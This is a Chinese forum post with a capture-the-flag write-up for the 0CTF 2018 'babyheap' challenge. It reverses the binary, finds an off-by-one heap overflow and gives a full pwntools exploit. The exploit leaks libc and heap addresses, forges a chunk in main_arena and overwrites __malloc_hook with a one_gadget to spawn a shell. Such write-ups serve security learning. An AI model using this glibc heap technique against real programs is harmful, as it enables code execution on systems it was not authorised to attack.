吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 2031|回复: 1
收起左侧

[CTF] 0CTF 2018 : babyheap

[复制链接]
R00tkit 发表于 2023-9-13 21:17
本帖最后由 R00tkit 于 2023-9-15 18:39 编辑

检查文件信息

a

a
ELF64文件,小端序,经过符号剥离。

b

b

保护全开。

e

e

3

3

c

c

改为为题目的glibc-2.24。

试运行

d

d

逆向分析

/* menu 函数*/

char *menu()
{
  int fd; // [rsp+4h] [rbp-3Ch]
  char *addr; // [rsp+8h] [rbp-38h]
  unsigned __int64 v3; // [rsp+10h] [rbp-30h]
  __int64 buf[4]; // [rsp+20h] [rbp-20h] BYREF

  buf[3] = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  alarm(0x3Cu);
  puts(
    "    __ __ _____________   __   __    ___    ____\n"
    "   / //_// ____/ ____/ | / /  / /   /   |  / __ )\n"
    "  / ,<  / __/ / __/ /  |/ /  / /   / /| | / __  |\n"
    " / /| |/ /___/ /___/ /|  /  / /___/ ___ |/ /_/ /\n"
    "/_/ |_/_____/_____/_/ |_/  /_____/_/  |_/_____/\n");
  puts("===== Baby Heap in 2018 =====");
  fd = open("/dev/urandom", 0);
  if ( fd < 0 || read(fd, buf, 0x10uLL) != 0x10 )
    exit(-1);
  close(fd);
  addr = (char *)((buf[0] % 0x555555543000uLL + 0x10000) & 0xFFFFFFFFFFFFF000LL);
  v3 = (buf[1] % 0xE80uLL) & 0xFFFFFFFFFFFFFFF0LL;
  if ( mmap(addr, 0x1000uLL, 3, 34, -1, 0LL) != addr )
    exit(-1);
  return &addr[v3];
}
/* main 函数 */

__int64 __fastcall main(char *a1, char **a2, char **a3)
{
  char *v4; // [rsp+8h] [rbp-8h]

  v4 = Init();
  while ( 1 )
  {
    menu();
    switch ( get_num() )
    {
      case 1LL:
        Alloc(v4);
        break;
      case 2LL:
        update(v4);
        break;
      case 3LL:
        delete(v4);
        break;
      case 4LL:
        view(v4);
        break;
      case 5LL:
        return 0LL;
      default:
        continue;
    }
  }
}
/* alloc 函数 */

void __fastcall Alloc(__int64 list)
{
  int i; // [rsp+10h] [rbp-10h]
  int size; // [rsp+14h] [rbp-Ch]
  void *v3; // [rsp+18h] [rbp-8h]

  for ( i = 0; i <= 15; ++i )
  {
    if ( !*(_DWORD *)(0x18LL * i + list) )
    {
      printf("Size: ");
      size = get_num();
      if ( size > 0 )
      {
        if ( size > 0x58 )
          size = 0x58;    // 最大0x58
        v3 = calloc(size, 1uLL);    // calloc() 初始化
        if ( !v3 )
          exit(-1);
        *(_DWORD *)(0x18LL * i + list) = 1;
        *(_QWORD *)(list + 0x18LL * i + 8) = size;
        *(_QWORD *)(list + 0x18LL * i + 0x10) = v3;
        printf("Chunk %d Allocated\n", (unsigned int)i);
      }
      return;
    }
  }
}
/* 不难推测其结构体 */
struct heap {
    uint is_in_use;
    uint size;
    void* chunk;

}
struct heap list[16];
/* update 函数 */

int __fastcall update(__int64 a1)
{
  unsigned __int64 v1; // rax
  signed int index; // [rsp+18h] [rbp-8h]
  int v4; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  index = get_num();
  if ( (unsigned int)index <= 15 && *(_DWORD *)(0x18LL * index + a1) == 1 )
  {
    printf("Size: ");
    LODWORD(v1) = get_num();
    v4 = v1;
    if ( (int)v1 > 0 )
    {
      v1 = *(_QWORD *)(0x18LL * index + a1 + 8) + 1LL;// off-by-one
      if ( v4 <= v1 )
      {
        printf("Content: ");
        read_content(*(_QWORD *)(0x18LL * index + a1 + 0x10), v4);
        LODWORD(v1) = printf("Chunk %d Updated\n", (unsigned int)index);
      }
    }
  }
  else
  {
    LODWORD(v1) = puts("Invalid Index");
  }
  return v1;
}
/* delete 函数 */

int __fastcall delete(__int64 a1)
{
  signed int index; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  index = get_num();
  if ( (unsigned int)index > 15 || *(_DWORD *)(0x18LL * index + a1) != 1 )
    return puts("Invalid Index");
  *(_DWORD *)(0x18LL * index + a1) = 0;
  *(_QWORD *)(0x18LL * index + a1 + 8) = 0LL;
  free(*(void **)(0x18LL * index + a1 + 0x10));
  *(_QWORD *)(0x18LL * index + a1 + 0x10) = 0LL;
  return printf("Chunk %d Deleted\n", (unsigned int)index);
}
/* view 函数 */
int __fastcall view(__int64 a1)
{
  signed int index; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  index = get_num();
  if ( (unsigned int)index > 15 || *(_DWORD *)(24LL * index + a1) != 1 )
    return puts("Invalid Index");
  printf("Chunk[%d]: ", (unsigned int)index);
  write_content(*(_QWORD *)(0x18LL * index + a1 + 16), *(_QWORD *)(0x18LL * index + a1 + 8));
  return puts(&byte_16AF);
}

漏洞利用

利用off-by-one覆盖next_chunksize位,制造堆块覆盖,以此泄露libc基址。然后通过堆块重叠,泄露堆地址。然后利用重叠的堆块将top_chunk迁移在__malloc_hook上方,申请到__malloc_hook改为one_gadget即可getshell

前置脚本

from pwn import *

context.log_level='debug'
context.arch='amd64'
context.terminal = ['tmux', 'splitw', '-h']

def connect():
    global elf, libc, p
    elf = ELF('./babyheap')
    libc = ELF('./libc-2.24.so')
    p = process('./babyheap')

is_debug = True
def debug(gdbscript=""):
    if is_debug:
        gdb.attach(p, gdbscript=gdbscript)
        pause()
    else:
        pass

def alloc(size):
    p.recvuntil(b'Command: ')
    p.sendline(b'1')
    p.recvuntil(b'Size: ')
    p.sendline(str(size).encode())
    p.recvuntil(b'Allocated\n')

def update(idx, size, content):
    p.recvuntil(b'Command: ')
    p.sendline(b'2')
    p.recvuntil(b'Index: ')
    p.sendline(str(idx).encode())
    p.recvuntil(b'Size: ')
    p.sendline(str(size).encode())
    p.recvuntil(b'Content: ')
    p.sendline(content)
    p.recvuntil(b'Updated\n')

def delete(idx):
    p.recvuntil(b'Command: ')
    p.sendline(b'3')
    p.recvuntil(b'Index: ')
    p.sendline(str(idx).encode())
    p.recvuntil(b'Deleted\n')

def view(idx):
    p.recvuntil(b'Command: ')
    p.sendline(b'4')
    p.recvuntil(b'Index: ')
    p.sendline(str(idx).encode())
    p.recvuntil(b']: ')

leak()

def leak():
    global libc_base, heap_addr, need
    alloc(0x48) # 0 chunk0
    alloc(0x48) # 1 chunk1
    alloc(0x48) # 2 chunk2
    alloc(0x48) # 3 chunk3

    update(0, 0x49, b'a'*0x48 + p64(0xa1))
    delete(1)
    alloc(0x48) # 1 chunk1
    view(2)
    libc_base = u64(p.recv(6).ljust(0x8, b'\x00')) - 0x398b58
    log.success("libc_base : 0x%x" % libc_base)
    debug() # d1

    alloc(0x48) # 4 2 chunk2
    delete(1)
    delete(2)
    view(4)
    heap_addr = u64(p.recv(8)) - 0x50
    log.success("heap_addr : 0x%x" % heap_addr)
    need = hex(heap_addr)[:4]
    debug() # d2

    if need == '0x55':
        log.info("Not match")
        p.close()
    elif need == '0x56':
        need = False;
    else:
        log.info("Error size")

6

6
首先申请0~3四个0x48大小的空间,通过chunk0溢出将chunk1size设置为0xa1,并释放chunk1,我们就得到了unsorted binchunk2fd指针。view(2)即可将libc地址泄露。

7

7
我们再次申请一块0x48大小的空间将把chunk2申请出来,此时list[2]list[4]指向同一地址。依次释放list[1]list[2]我们,此时chunk2fd指针将会指向chunk1prev_size,此时list[4]依然有读写权限,可以用来泄露chunk1的地址。但我们要想修改malloc_hook的值,现在list[1]list[2]都是空的,list[4]指向chunk2,我们可以通过list[4]修改chunk2_fd,制造fake_chunk迁移到main_arena上面,覆盖掉top_chunk的指针,改到__malloc_hook上面。但0x56开头的堆地址才能绕过`libc_calloc()`的断言。

getshell

def get_shell():
    one_gadget = libc_base + 0x3f50a
    malloc_hook = libc_base + libc.symbols['__malloc_hook']
    main_arena = libc_base + libc.symbols['main_arena']

    alloc(0x58) # 1 chunk4
    delete(1)
    update(4, 0x8, p64(main_arena + 0x25))
    alloc(0x48) # 1 chunk2
    alloc(0x48) # 2 fake_chunk
    debug() # d1
    update(2, 0x23+0x8, b'b'*0x23 + p64(malloc_hook - 0x10))
    debug() # d2
    alloc(0x48)  # 5
    update(5, 0x8, p64(one_gadget))
    debug() # d3
    p.recvuntil(b'Command: ')
    p.sendline(b'1')
    p.recvuntil(b'Size: ')
    p.sendline(b'20')

8

8
我们申请并释放一个0x60大小的chunk,用于改变main_arena的结构,将0x56填写进main_arena,然后通过截断,将0x56截取出来,作为fake_chunk_size,绕过fast bin检查。

9

9
此时我们将其覆盖,我们把main_arena保存的top_chunk指针修改为__mallloc_hook上方0x10(prev_size | size)

10

10
我们再次申请将会把__malloc_hook申请出来,并且__malloc_hookfd,将其改为one_gadget,然后随意申请一个堆块即可get_shell。

11

11

完整exp

from pwn import *

context.log_level='debug'
context.arch='amd64'
context.terminal = ['tmux', 'splitw', '-h']

def connect():
    global elf, libc, p
    elf = ELF('./babyheap')
    libc = ELF('./libc-2.24.so')
    p = process('./babyheap')

is_debug = True
def debug(gdbscript=""):
    if is_debug:
        gdb.attach(p, gdbscript=gdbscript)
        pause()
    else:
        pass

def alloc(size):
    p.recvuntil(b'Command: ')
    p.sendline(b'1')
    p.recvuntil(b'Size: ')
    p.sendline(str(size).encode())
    p.recvuntil(b'Allocated\n')

def update(idx, size, content):
    p.recvuntil(b'Command: ')
    p.sendline(b'2')
    p.recvuntil(b'Index: ')
    p.sendline(str(idx).encode())
    p.recvuntil(b'Size: ')
    p.sendline(str(size).encode())
    p.recvuntil(b'Content: ')
    p.sendline(content)
    p.recvuntil(b'Updated\n')

def delete(idx):
    p.recvuntil(b'Command: ')
    p.sendline(b'3')
    p.recvuntil(b'Index: ')
    p.sendline(str(idx).encode())
    p.recvuntil(b'Deleted\n')

def view(idx):
    p.recvuntil(b'Command: ')
    p.sendline(b'4')
    p.recvuntil(b'Index: ')
    p.sendline(str(idx).encode())
    p.recvuntil(b']: ')

def leak():
    global libc_base, heap_addr, need
    alloc(0x48) # 0 chunk0
    alloc(0x48) # 1 chunk1
    alloc(0x48) # 2 chunk2
    alloc(0x48) # 3 chunk3

    update(0, 0x49, b'a'*0x48 + p64(0xa1))
    delete(1)
    alloc(0x48) # 1 chunk1
    view(2)
    libc_base = u64(p.recv(6).ljust(0x8, b'\x00')) - 0x398b58
    log.success("libc_base : 0x%x" % libc_base)

    alloc(0x48) # 4 2 chunk2
    delete(1)
    delete(2)
    view(4)
    heap_addr = u64(p.recv(8)) - 0x50
    log.success("heap_addr : 0x%x" % heap_addr)
    need = hex(heap_addr)[:4]

    if need == '0x55':
        log.info("Not match")
        p.close()
    elif need == '0x56':
        need = False;
    else:
        log.info("Error size")

def get_shell():
    one_gadget = libc_base + 0x3f50a
    malloc_hook = libc_base + libc.symbols['__malloc_hook']
    main_arena = libc_base + libc.symbols['main_arena']

    alloc(0x58) # 1 chunk4
    delete(1)
    update(4, 0x8, p64(main_arena + 0x25))
    alloc(0x48) # 1 chunk2
    alloc(0x48) # 2 fake_chunk
    update(2, 0x23+0x8, b'b'*0x23 + p64(malloc_hook - 0x10))
    alloc(0x48) # 5
    update(5, 0x8, p64(one_gadget))

    p.recvuntil(b'Command: ')
    p.sendline(b'1')
    p.recvuntil(b'Size: ')
    p.sendline(b'20')

def pwn():
    connect()
    leak()

    while need:
        connect()
        leak()

    get_shell()
    p.interactive()

if __name__ == '__main__':
    pwn()

免费评分

参与人数 4威望 +1 吾爱币 +22 热心值 +4 收起 理由
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
woyucheng + 1 + 1 热心回复!
OVVO + 1 我很赞同!
Sunnyzbh + 1 + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

apjsip 发表于 2023-9-14 07:18
了解ctf信息
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-12-23 15:19

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表